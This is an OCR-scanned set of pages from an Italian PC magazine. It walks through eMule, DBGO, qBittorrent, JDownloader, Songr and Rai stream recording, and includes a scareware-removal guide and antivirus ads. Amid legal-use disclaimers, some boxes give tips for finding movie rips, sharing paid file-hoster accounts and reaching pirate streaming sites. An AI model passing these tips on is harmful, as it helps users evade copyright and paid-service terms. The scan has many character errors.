costo di licenza troppo elevato 
e facciamo largo a Infrarecorder! ► 
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Software: versioni truccate 


A Download mirati e veloci 


Con le keyword di ricerca che abbiamo integrato nella nuova versione di Win-eMule e applicando i filtri giusti 
possiamo scovare al volo i file che ci interessano, per poi scaricarli solo da fonti complete. 
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aì Cosa vuoi cercare? 

■J | Una volta avvenuto il collegamento col server 
w eDonkey prescelto, dall’Interfaccia principale 
di Win-eMule cucchiamo sul pulsante Cerca in alto a 
sinistra. Nella nuova schermata che appare scriviamo 
nel campo Nome una descrizione per il file che voglia¬ 
mo scaricare dalle reti P2P. 



a Le keyword giuste 

In Win-eMule 2013 appare ora il pulsante 
keywords che permette di accedere ad una 
lista di parole chiave utili per ottimizzare le ricerche sui 
server eDonkey, clicchiamoci sopra. Nella schermata 
che appare apriamo il menu a tendina, scegliamo una 
keyword e confermiamo con Inserisci. 



* Tutte quelle che servono 

3 I La parola chiave scelta verrà automaticamente 
aggiunta alla descrizione del file da scaricare 
che abbiamo digitato nel campo Nome. Ripetiamo la 
stessa operazione per aggiungere nuove keyword utili 
a cercare, ad esempio, video in italiano (ITA) e in alta 
definizione (BDRIP). 




.a Ricerche mirate 

/J Per filtrare ulteriormente le ricerche dei con¬ 
ia. J tenuti che ci interessano sui server di Win- 
eMule, compiliamo anche gli altri campi presenti nel¬ 
la finestra Cerca. Se vogliamo scaricare ad esempio 
una distribuzione Ubuntu Linux, in Tipo selezioniamo 
Immagini-CD come tipologia di file. 


^ Spulciamo tra i server 

g Dal menu Metodo scegliamo la fonte su cui 
w effettuare la ricerca: con Server cercheremo 
solo su quelli cui siamo connessi, con Globale (Server) 
useremo quelli in lista e, infine, con Web useremo un 
motore di ricerca. Effettuata la nostra scelta, possiamo 
cliccare sul pulsante Inizia. 


^ Con Testensione si fa prima 

0 1 Se cerchiamo un’immagine NFìG (creata con 
Nero) di Ubuntu, nel campo Estensione digi¬ 
tiamo NRG. Se cerchiamo invece l’ISO in DVD, digitia¬ 
mo 3000 nel campo Dim. Min. [MB] e ISO in Esten¬ 
sione. Avviamo il download con un doppio clic sul file 
che ha il maggior numero di Fonti. 


\à PIÙ SPEDITI COI MAGNET LINK 


Sui server eDonkey non ri- 
usciamo a trovare quel che 
cercavamo? Nessun problema! Basta 
avviare pTorrent direttamente da Win- 
eMule e usare i "link magnetici"e il servi¬ 
zio di ricerca integrato. Per farlo da Win- 
eMule clicchiamo Sblocca uTorrent. 
Avviato il Client (già installato nel PC) e 
accediamo a Opzioni/lmpostazioni/ 
Avanzate/Extras IU, cancelliamo il con¬ 
tenuto di Motori di ricerca, digitiamo 
kat\http://www.kat.ph/usearch/, pre¬ 
miamo Applica e poi OK. Digitiamo il 


nome del file da cercare nella casella di 
ricerca (ad es. Ubuntu) e diamo Invio. I 
risultati verranno visualizzati nel browser. 
Scorriamo l'elenco e, individuato il file 
che ci interessa, clicchiamo sul pulsante 
con la calamita (Torrentmagnetlink). 
La prima volta che effettuiamo questa 
operazione ci verrà chiesto di indicare 
con quale applicazione gestire i magnet 
link. Selezioniamo pTorrent, spuntiamo 
Ricorda questa scelta per i link ma¬ 
gnet e diamo OK.Torniamo in pTorrent: 
con OK avvieremo il download del file. 
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« Difendiamo il nostro PC dai virus 

Qualche scareware si è annidato nei disco rigido? Generalmente i programmi antivirus restano in silenzio. Grazie 
a WinAntivirus possiamo trovare gli intrusi, rimuoverli dal computer e difenderci da nuove minacce. 



^ Mettiamoci sulle tracce dello scareware 

■J j Per scoprire nel PC la presenza di scareware, finti programmi che cercano 
w di spillare denaro alle vittime, usiamo il programma Scova Scareware, appo¬ 
sitamente sviluppato da Win Magazine. Annotiamo il nome dei possibili scareware: 
in genere, sono programmi che promettono di deframmentare, riparare, ottimizza¬ 
re Windows o respingere i virus. Visualizziamo i programmi installati da Start/Pan¬ 
nello di contollo/Programmi/Disinstalla un programma. Quindi verifichiamo che 
nel menu Esecuzione automatica non sia presente il collegamento al malware. 




Inizia la battuta di caccia 

2 La presenza di voci come PC Fix 2011 oppure PC Patrol deve metterci in 
allarme. Avviamo Scova Scareware (il programma non necessita di instal¬ 
lazione) e nell’interfaccia principale del software digitiamo il nome del possibile 
scareware, ad esempio PCPatrot. cucchiamo Cerca. Se viene visualizzato l’icona 
di un triangolo contenente un punto esclamativo, vuol dire che nell'archivio del sof¬ 
tware è presente uno scareware dal nome simile. Dove possibile, Scova Scareware 
mostrerà anche un elenco di software truffaldini affini. 



^ Una disinstallazione rimuove lo scareware 

3 j Se il “ruba soldi" è presente nell’elenco dei software installati nel PC, basta 
w selezionare la voce corrispondente e cliccare Disinstalla. Nei casi più difficili, 
avviamo lo Strumento di rimozione malware di Windows da Start/Esegui e digitia¬ 
mo mrt seguito da Invio. Attiviamo Scansione completa e avviamo la scansione. 


* Facciamo piazza pulita con CCleaner 

4 1 Per rimuovere le tracce dello scareware dal registro di configurazione di Win- 
dows, installiamo CCleaner (sezione Indispensabili del Win CD/DVD) e avvia¬ 
molo. Da Registro cucchiamo Trova problemi, verrà avviata la scansione del regi¬ 
stro. Al termine, cucchiamo Ripara selezionati, poi Sì. Salva e Ripara selezionati. 


#1 


PREVENIRE E MEGLIO CHE CURARE 

Durante la navigazione to ClamWin (http://it.clamwin.com), 
Internet il virus è sempre un software antivirus a costo zero, 
dietro l'angolo: basta una pendrive, Gli aggiornamenti gratuiti vengono 


un DVD o un allegato di un’e-mail 
sospetta erroneamente aperta per 
compromettere la sicurezza dell'intero 
sistema. Quello che ci occorre è un 
software antivirus. Peccato però che 
le soluzioni maggiormente conosciute 
prevedono l'acquisto di costosi abbo¬ 
namenti necessari a poter ricevere 
tutti gli aggiornamenti periodici. Ma 
nei nostri laboratori abbiamo scova- 


rilasciati abbastanza frequentemen¬ 
te e il grado di protezione offerto è 
realmente elevato. Per completare il 
comparto sicurezza, abbiamo deciso 
di affiancare a ClamWin anche Spywa¬ 
re Terminator (incluso nel pacchetto), 
che senza spendere un solo centesimo 
ci difenderà dai diffusissimi spyware, 
ovvero quei virus che "spiano" ogni 
nostra mossa. 


OF CldiuWin Free Antiviru* 
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Cosa ci ns 

occorre \™/ 

CLIENT EDONKEY 

DBGO 


SOFTWARE COMPLETO 


Lo trovi su: ®CD 
Sito Internet http:// 
global.dbgo.com 

DOWNLOAD MANAGER 

JDOWNLOADER 
BETA 2 


SOFTWARE COMPLETO 


Lo trovi su: STCD 
Sito Internet: http:// 
jdownloader.org 

CLIENT TORRENT 

QBITTORRENT 

Lo trovi su: i*?CD 
Sito Internet littoV/ 
sourcetorge.net/ 
projects/qoittorrent 

MUSIC DOWNLOAOER 

SONGR 

PORTABLE 


SOFTWARE COMPLETO. 


Lo trovi su: S*CD 
Sito Internet https:// 
sites.google.com/ 
site/getsongr 


L a Rete offre una quantità sterminata di 
contenuti che aspettano solo di essere 
scaricati. E non stiamo assolutamente 
parlando di materiale illegale: i canali 
del file sharing sono pieni di programmi 
open source, brani musicali distribuiti 
con licenza Creative Commons e prodotti 
da band emergenti che usano il Web per 
farsi conoscere, o ancora di filmati gratu¬ 
iti liberamente scaricabili. Trovare tutto 
questo ben di Dio, però, non è sempre così 
semplice, anzi, il più delle volte non si sa 
nemmeno dove cominciare. I metodi con 
cui i file vengono condivisi sono diversi e 
per ognuno di essi ci sono numerose strade 
percorribili per giungere a destinazione. 
Solo padroneggiandoli tutti è possibile 
diventare veri esperti del file sharing e 
riuscire a scaricare qualunque contenuto 
indipendentemente dal protocollo im¬ 
piegato. 

Non solo eMule 

Oltre a quanto presente nelle reti eD2K, 
Kad e BitTorrent, nelle pagine che seguono 
scopriremo come sia possibile catturare 
programmi e film trasmessi in streaming, 
scaricare musica a velocità impensabili e 
superare i limiti dei file hoster imposti agli 
account gratuiti grazie alle caratteristiche 
presenti nella nuova versione di JDown- 
loader. Trattandosi di un argomento scot¬ 
tante, va precisato che le tecniche impie¬ 
gate non sono affatto illegali, lo è semmai 
l’utilizzo che uno sceglie di farne. Spesso 
si confonde il file sharing con la pirateria 
informatica ma, come dicevamo, la Rete 
offre tantissimo materiale liberamente 
scaricabile ed è esclusivamente a questo 
tipo di contenuti che dobbiamo rivolgere 
la nostra attenzione, stando bene alla larga 
da quelli che potrebbero metterci in guai 
seri con la legge! 


scaricatutto 

universale 

Trasforma il PC in un aspirafile 
per registrare lo streaming Web 
e scaricare dalle sorgenti del P2P 


I 
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13 II Client per tutti gli usi 


DBgo è un download manager completamente compatibile con i server eDonkey di eMule che, 
se opportunamente configurato, permette di saltare le code di attesa e scaricare ad alta velocità. 



^ Pochi clic per installarlo 

■J ; Scompattiamo l’archivio DBGO.zip che 
troviamo sul Win CD-Rom ed eseguia¬ 
mo il file DBGO_Setup_En.exe contenuto al suo 
interno. Accettiamo la licenza (lAgred) e cucchia¬ 
mo Next. L’installazione è rapidissima: al termine 
cucchiamo Finish. 



^ Configuriamo il router 

A ! Digitiamo nella barra indirizzi del browser 
■J TIP del router ( 192 . 168 . 1 . 1 nel caso di 
apparecchi Alice di Telecom) e, se richiesti, i dati 
di accesso. Dalle opzioni per la configurazione 
della LAN (o Virtual Servei) creiamo una nuova 
regola (Aggiungi o Port Forwarding. 



^ Solo server aggiornati 

7 I Clicchiamo View Server List e aggior- 
w niamo la lista con Update. Stabiliamo la 
connessione con un doppio clic su uno dei ser¬ 
ver in elenco e attendiamo che venga stabilito il 
collegamento con le reti eD2K e Kad. Chiudiamo 
la finestra e spostiamoci nella sezione Search. 


^ Agg iornamento automatico 

2 I Al primo avvio di DBGO ci verrà richiesto 
J di aggiornare il software: accettiamo e al 
termine clicchiamo su OK per chiudere le due 
finestre di notifica. Arrivati nell'interfaccia princi¬ 
pale del Client, clicchiamo su Options e spostia¬ 
moci nella sezione Connection. 


A briglie sciolte! 


0 I Leviamo la spunta da Download limit 
solo se la velocità della nostra connes¬ 
sione è buona e spostiamo verso sinistra il cur¬ 
sore Upload limit, posizionandolo sul valore IO 
KB/s. Prendiamo nota del numero di porta indi¬ 
cato nei campi TCP e UDPe avviamo il browser. 



^ Porte aperte ai download 

g | Iniziamo digitando il valore TCP (Pas- 
—J 1 so 3), indichiamo l’indirizzo IP locale del 
nostro PC, scegliamo il protocollo TCP e confer¬ 
miamo. Allo stesso modo aggiungiamo una rego¬ 
la per instradare la porta UDP ; quindi controllia¬ 
mo che entrambe le regole siano abilitate. 


^ Test a portata di clic 

0 Ritorniamo alle Options di DBGO e awia- 
J mo la verifica delle porte cuccando Test 
Ports. Se abbiamo effettuato i passaggi corretti, 
il responso sarà Success, altrimenti (Failed) rive¬ 
diamo le impostazioni. Clicchiamo su Applica e 
chiudiamo la finestra delle opzioni. 




^ Pochi ma buoni 

0 ! Digitiamo nella casella di ricerca il nome 
w del file e clicchiamo Search. L'elenco dei 
risultati mostrerà i file corrispondenti alla ricerca. 
Ove necessario, il menu a tendina posto subito 
prima della casella di ricerca permette di filtrare 
rapidamente i risultati. 


^ Velocità da brivido 

0 I file presenti nell’area gialla sono quelli 
che si scaricano più rapidamente grazie 
alla funzionalità High Speed di DBGO. Avviamo¬ 
ne il download con un doppio clic e prepariamo¬ 
ci a restare a bocca aperta vedendo le incredibili 
velocità in download raggiunte da DBGO! 


► 
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Un torrente sempre in piena 


Molti si rifiutano di scaricare file dalla rete BitTorrent a causa delle difficoltà che s’incontrano nel reperire 
i tracker. Grazie a qBittorrent tutto ciò sarà solo un pallido ricordo. 









/ . 





* Siamo subito operativi 

■J | Scompattiamo l’archivio qBittorrent.zip 
V—/ (scaricabile dal Win CD-Rom) ed eseguia¬ 
mo il file contenuto al suo interno. Nella prima 
schermata della procedura di installazione spun¬ 
tiamo tutte le caselle visibili, clicchiamo Nexte 
Instali. Clicchiamo dose per completare la pro¬ 
cedura. 


In italiano è meglio 

Accettiamo le condizioni d'uso con / 
Agree... e clicchiamo su Consenti acces¬ 
so. Premiamo la combinazione di tasti Alt+O, 
impostiamo la lingua italiana dal menu User 
Interface Language , spostiamoci in Connection 
e prendiamo nota del valore indicato nel campo 
Porta in ascolto. 


^ Generosi ma non troppo 

3 Come visto nei Passi A4 e A5, configuria- 
J mo correttamente il router per instradare 
la porta in ascolto (TCPe UDP) al PC su cui è in 
esecuzione qBittorrent. Spostiamoci in Speede in 
Global Rate Limits sediamo il valore Upload sui 
IO KIB/s. Pigiamo su Applye OK. quindi riavvia¬ 
mo qBittorrent. 






Serve l'interprete 

4 I Passiamo alla scheda Ricerca, digitiamo il 
lJ nome del file da cercare e confermiamo con 
Invio. Nel caso in cui un messaggio ci informa che 
bisogna installare l’interprete Python, confermiamo 
con Yes, attendiamo il completamento dell'installa¬ 
zione e riavviamo nuovamente qBittorrent. 


Via alle ricerche 

g 1 Ripetiamo nuovamente la ricerca che que- 
sta volta mostrerà i risultati corrispondenti. 
Il filtro presente subito dopo la casella di ricerca ci 
aiuterà a individuare il file che cerchiamo, mentre 
premendo Vai alla pagina di descrizione visualiz¬ 
zeremo i dettagli del relativo torrent. 


Più semplice di così... 

0 I Individuato il file che stavamo cercando, 
ìmmJ per avviarne il download non dobbiamo fare 
altro che cliccare sull'omonimo pulsante, oppure 
fare doppio clic sulla voce in elenco e conferma¬ 
re con OK. A questo punto non resta che mettersi 
comodi e attendere il completamento del download. 


CON JDOWNLOADER 2 IL PEER TO PEER DIVENTA AUTOMATICO 


La chiusura di Megaupload e il 
ridimensionamento di servizi 
analoghi votati alla condivisio¬ 
ne dei file ha fatto calare anche 
l'interesse per strumenti co¬ 
me JDownloader, che era uno 
dei software più utilizzati per 
scaricare velocemente il mate¬ 
riale archiviato sui file hoster. 
Questa tipologia di file sharing 
sta nuovamente prendendo 
piede, anche se le velocità 
prima concesse a chiunque. 


ora si raggiungono solo se si 
è in possesso di un account a 
pagamento. Per venire incon¬ 
tro alle nuove necessità degli 
utenti che vogliono download 
ultrarapidi, ma senza spendere 
un centesimo, la nuova release 
di JDownloader (scaricabile 
dal Win CD-Rom) è stata ar¬ 
ricchita di una caratteristica 
che permette di condividere 
facilmente gli account pre¬ 
mium con altri utenti. Dopo 


averla avviata eseguendo il file 
JDownloaderPortable.exe e 
configurati i vari account, la 
cartella del software può esse¬ 
re duplicata su qualunque PC. 
Questa particolarità ha porta¬ 
to alla nascita di community 
(come www.progettospdjdl. 
blogspot.it) che condividono il 
file org.jdownloader.settings. 
AccountSettings.accounts.ejs 
presente nella cartella cfg di 
JDownloader. 
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9 La musica arriva dal Web 


Tra i contenuti più scaricati, la musica è sicuramente ai primo posto. Songr rende semplice 
e rapida l’operazione grazie anche ad un archivio che è praticamente infinito. 




a Già pronto all’uso 

■| , Estraiamo l’archivio Songr.zip (presente sul Win CD- 
W ROM) ed eseguiamo il file Songr.exe. L’installazione 
non è richiesta, quindi ci ritroveremo direttamente nell’inter¬ 
faccia principale del software dove in alto a destra campeggia 
la casella di ricerca, 


Informazioni per scegliere meglio 

Digitiamo il titolo del brano o il nome dell’artista e avviamo 
la ricerca scegliendo se cercare tracce singole o album 
completi. Pochi secondi e l’elenco dei risultati apparirà con tanto 
di informazioni su qualità, dimensione, bitrate e velocità di down¬ 
load del brano, 




^ Download e riproduzione 

2 ì Come la ricerca, anche il download è semplicissimo, 
v—/ Facciamo clic con il tasto destro del mouse sul brano 
da scaricare, selezioniamo Download e indichiamo il percor¬ 
so (Salvd). In poco tempo il brano sarà scaricato, dopodiché, 
cliccando su Play , possiamo subito avviarne la riproduzione. 


Archivio senza fondo 

L'integrazione delle clip YouTube nei risultati di ricerca 
permette di sfruttare Songr per scaricare brani intro¬ 
vabili altrove. In questo caso, cliccando sul risultato col tasto 
destro del mouse, possiamo scaricare il video ( Download) o 
convertirlo in MP3 ( Download come mp3). 



V«uTuM!muK) 

VouTyM HW| 

■ vowTtAc (mwfrc) 



Un pezzo di YouTube 


g | Lo strumento può essere usato anche per scaricare 
swJ 1 altre tipologie di contenuti condivisi sul portale video 
più famoso del Web. Per adoperarlo clicchiamo File/Scarica 
da YouTube, incolliamo l’URL del video, selezioniamo il forma¬ 
to che preferiamo (video o audio) e clicchiamo OK 


Ricerca alternativa 


0 Spesso capita di conoscere il testo di una canzone 
ma di non ricordare il titolo. Songr può esserci d’aiu¬ 
to anche in questo caso. Clicchiamo su Cerca dal testo, digi¬ 
tiamo nella casella di ricerca le parole che ricordiamo (basta 
anche una singola strofa) e premiamo Invio. 



CHIEDIAMO 

INFORMAZIONI 

Se non sappiamo quale 
sia l'indirizzo IP del 
routeredelPCsucui 
abbiamo installato 
DBGO (informazioni ne¬ 
cessarie per impostare 
il portforwarding), per 
scoprirlo digitiamo cmd 
nella casella di ricerca 
del menu Storte lancia¬ 
mo il comando ipconfig 
/all. Le informazioni che 
ci interessano si trovano 
rispettivamente alle vo¬ 
ci Gateway predefinito 
e Indirizzo IPv4. 

OLTRE IL MURO 
DI WINDOWS 

Oltre alle porte del 
router, per ottenere le 
migliori performance 
è indispensabile set- 
tare anche il firewall. 
Per i firewall di terze 
parti le impostazioni 
si raggiungono dall'in¬ 
terfaccia stessa del 
software, mentre nel 
caso si tratti del firewall 
integrato in Windows, 
per raggiungerle basta 
digitare Conienti 
programma con Win¬ 
dows Firewall nella 
casella di ricerca del 
menu Start. Clicchiamo 
Modifica impostazioni 
e Consenti un altro pro¬ 
gramma, selezioniamo 
DBGO dall'elenco dei 
programmi installati 
[Aggiungi) e spuntiamo 
tutte le caselle relative 
al programma per poi 
confermare con OK. 

NESSUNO 
TOCCHI LA 
BANDA 

DBGO permette di 
abilitare l'offuscamento 
del protocollo così da 
impedire il taglio di 
banda operato da alcu¬ 
ni provider. Per attivare 
la funzione, entriamo 
nella sezione Security 
delle opzioni di DBGO, 
spuntiamo la casella 
Cnable protocol obfu- 
scation e clicchiamo su 
Applica. 
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01 Registra lo streaming del Web 

Il portale Rai.tv è ricco di contenuti visualizzabili direttamente on-line. Utilizzando il tool Rai Translator possiamo 
trasferire i programmi sul nostro computer, compresi quelli live. 



^ Tutto ciò che serve 

■| | Perché tutto funzioni, è necessario dotare 
«wJi il computer delle librerie Java, del media 
player VideoLAN (scaricabile dal Win CD-Rom) e 
di un download manager come jDownloader (sca¬ 
ricabile dal Win CD-Rom). Estraiamo poi l’archivio 
Rai Translator.zip, anch'esso presente nel Win CD- 
Rom, ed eseguiamo il file RaiTranslator.jar. 


a Traduciamo i link 

2 I Colleghiamoci al sito www.rai.tv, cerchia- 
mo il programma che ci interessa e copia¬ 
mo l’URL dalla barra degli indirizzi del browser. 
Ritorniamo quindi nell'interfaccia di Rai Transla¬ 
tor, clicchiamo Paste rai.tv uri, Translate e infi¬ 
ne copiamo l’indirizzo esatto dello stream (Copy 
stream uri). 


^ Il collegamento giusto... 

3 | Avviamo a questo punto jDownloader, che 
w fiuterà automaticamente il link estratto al 
passo precedente, clicchiamo sul pulsante Conti¬ 
nua e scarichiamo il file che risulterà pronto dopo 
pochi secondi. Il file in questione consentirà di 
avviare lo streaming del programma con qualun¬ 
que media player. 




J*. ...otutto il video 

4 I Se invece vogliamo scaricare il programma 
per visualizzarlo anche quando non dispo¬ 
niamo di una connessione a Internet, invece del 
download manager dovremo avviare il player Vide- 
oLan, cliccare su Media, scegliere Apri flusso di 
rete e incollare il link copiato al Passo D2. 


▲ Il giusto formato 

R Premiamo i tasti Alt+C, clicchiamo su Sfo- 
wJ glia, indichiamo il percorso di salvataggio e 
assegniamo al file il nome comprensivo di estensione 
.wmv. Scegliamo il profilo Video-WMV+WMA(ASF) 
e clicchiamo su Avvia per avviare la registrazione 
che durerà quanto il programma stesso. 


Registriamo le dirette Rai 

0 ; Torniamo a Rai Translator e spostiamoci 
W nel tab Translate Rai.tv live stream. Clic¬ 
chiamo Load live stream list, apriamo la cartella 
RaiTv Diretta Set/Nome Canale, selezioniamo full, 
clicchiamo Translate live stream urie copiamo il 
link per darlo in pasto a VLC (Passo D5). 


MORTO MEGAVIDEO SE NE FA UN ALTRO 



L’enorme buco lasciato dalla chiusura di MegaVideo, come 
normale che fosse, è stato immediatamente colmato da ser¬ 
vizi analoghi. NowVideo, FlashDrive e Zinwa sono alcuni dei 
servizi più utilizzati e, contemporaneamente allo streaming, i 
pirati riescono facilmente a scaricare i contenuti sul loro PC. 
Legittimo se utilizzato senza violare le leggi sul copyright, una 
volta installato l’add-on per Firefox Video DownloadHelper 
(nel Win CD-Rom), l'utente deve solo avviare lo streaming del 
video su un qualunque servizio, cliccare su Strumenti/Down- 
loadHelper/Elementi Multimediali e cliccare sul file presente 
che, nonostante non sia riconoscibile dal nome, trasferirà sul 
PC il video in riproduzione nel browser. 



PRENDIAMO SOLO 
IL NECESSARIO 

Se abbiamo bisogno di re¬ 
gistrare solo alcune parti 
del programma, abilitan¬ 
do! controlli avanzati di 
VIC ( Visualina/Controlli 
avanzati), potremo av¬ 
viare la cattura dello 
streaming nel punto in 
cui preferiamo. 
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Film Review 


Ecco come visualizzare in streaming decine di film 

nella più totale legalità e senza spendere un centesimo 


100 gigabyte 
di film gratis 


S treaming è un termine che viene spesso legato alla 
pirateria di pellicole e serie TV, ma non sempre 
ciò è corretto. Nonostante l’enorme presenza 
di contenuti che violano il copyright sia veicolata al 
pubblico sfruttando i servizi che offrono lo streaming 
video, ci sono alcune eccezioni che, anche adottando 
una tecnologia analoga, sono del tutto legittime e, 



soprattutto, gratuite. Mentre altrove le alternative non 
mancano, nel Bel Paese Film Review è l’unico servizio 
che consente l’accesso a un ricco catalogo di film in 
lingua italiana, tutti completamente gratuiti e ripro¬ 
ducibili utilizzando esclusivamente il browser. Non 
ci credi? Avvia il browser e leggi il resto dell'articolo 
per fugare ogni dubbio. 



Il paradiso dei cineamatori 

Andiamo sul sito www.film-review.it: l’home page di Film 
Review ci accoglie con approfondimenti, anteprime e 
notizie che riguardano le pellicole in uscita. La sezione 
più appetitosa del sito è però quella che si raggiunge cuccando 
su Film Gratis, dove decine di film ci aspettano per essere ripro¬ 
dotti gratuitamente. 



Registriamo il profilo 

L’account è necessario per avviare lo streaming, per cui 
non perdiamo altro tempo e cucchiamo su Registrati. 
Riempiamo i campi con i dati richiesti, digitiamo il codice 
di verifica e clicchiamo su Registrami. Compiliamo il form di regi¬ 
strazione successivo solo se abbiamo intenzione di utilizzare il 
forum di Film Review. 


Cosa ci 

occorre ^3/ 

SITO 

DI STREAMING VIDEO 

FILM REVIEW 

Quanto costa: Gratuito 
Sito Internet 

www.film-review.it 



RIPRISTINA IDRM 

Se dopo aver dittato su 
Play non viene rilasciata 
la licenza di Windows 
Media Player e la ripro¬ 
duzione non è avviata, il 
problema forse è legato al 
componente che gestisce 
i DRM. Per risolvere av¬ 
viamo Internet Explorer, 
colleghiamoci all'indirizzo 
www.winmagazine.it/ 
link/1752 e dicchiamo su 
Upgrade e Aggiorna. Ri¬ 
avviamo il PC e riavviamo 
la riproduzione del film. 

Se la soluzione si rivela in¬ 
sufficiente, altri dettagli 
per risolvere il problema 
sono descritti alla pagina 
www.winmagazine.it/ 
link/1753. 

GRATIS 

E SENZA SCATTO 

Per assicurare una ripro¬ 
duzione fluida, aumen¬ 
tiamo la dimensione del 
buffer. Facdamo die con 
il tasto destro del mouse 
nel player (Opzioni), 
spuntiamo Buffer di e im¬ 
postiamo 60 secondi. 



Prepariamo i pop corn 

a Ritorniamo alla sezione Film Gratis, scorriamo l’elenco dei 
titoli disponibili e, trovato quello di nostro interesse, clic¬ 
chiamo su Guarda Gratis. La prima volta che utilizziamo il 
servizio sarà necessario scaricare un aggiornamento per Windows 
Media Player, dopodiché dobbiamo semplicemente cliccare su 
Play e gustarci il film. 


LA CINETECA DEI PIRATI 


In barba alla legalità e ai sacrosanti diritti 
delle case produttrici, sul Web spuntano 
come funghi innumerevoli siti, blog e fo¬ 
rum che quotidianamente pubblicano 
i link per visualizzare in streaming film, 
serieTV, documentari e quant'altro. Basta 
una ricerca su Google per imbattersi in siti 
come FilmFreeStream.Org, ScaricaTutto 
o fUm-Stream.tv, dove, elencati per ca¬ 
tegorie o in ordine alfabetico, si trovano 
i collegamenti che permettono l'accesso 
a un'immensa cineteca pirata. Spesso il 
link per la visualizzazione diretta del con¬ 
tenuto è abbinato anche a quello per il 
download del file. In ogni caso, dandoli 


in pasto al download manager JDownlo- 
ader, i pirati riescono a scaricare i video sul 
loro computer, mettendoli cosi al riparo 
da eventuali rimozioni e ban applicate 
dal servizio utilizzato per condividere il 
contenuto. 
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Se perdessi una di queste cose 
perderei una parte di me. 

Per questo le proteggo. 

Sergey - Ingegnere I.T. e DJ 


Voglio poter navigare liberamente, fare shopping ed 
effettuare pagamenti Online, sentendomi sempre protetto. 

questo uso Kaspersky Internet Security. www.Kaspershy.lt 

















agile, Veloce, potente. 
Uantivirus del futuro. Oggi 


ESET NOD32 

ANTIVIRUS 


ESET e FUTURE TIME premo uè NUOVA GENERAZIONE nella difesa ANTIVIRUS e ANT1SPYWARE 
che assicura m MIGLIORE PROIEZIONE anche oa TROJAN. WORM. DIALER. ROOTKII e PHISHING. 
inoltre con ia suite ESET SMART SECURITY i vostri sistemi sono PROTETTI anche oa un modulo FIREWALL e ANTISPAM. 
LEGGEREZZA e PRESTAZIONI senza confronto per la TECNOLOGIA PROATTIVA che INDIVIDUA OGGI i « 01 DOMAL 
provalo GRATIS per 30 GIORNI scaricandolo oa WWW.N0D32.IT 


Diventa rivenditore di NOD32 

AREA RIVENDITORI: WWW.NOD32.IT/PARTNERS 


DISTRIBUTORE ESCLUSIVO PERL'ITAlIA: FUTURE TIME S.R.L. ' ROMA 
PER QUALSIASI INFORMAZIONE VÌSITA IL NOSTRO SITO WEB WWW.NOD32.1T 







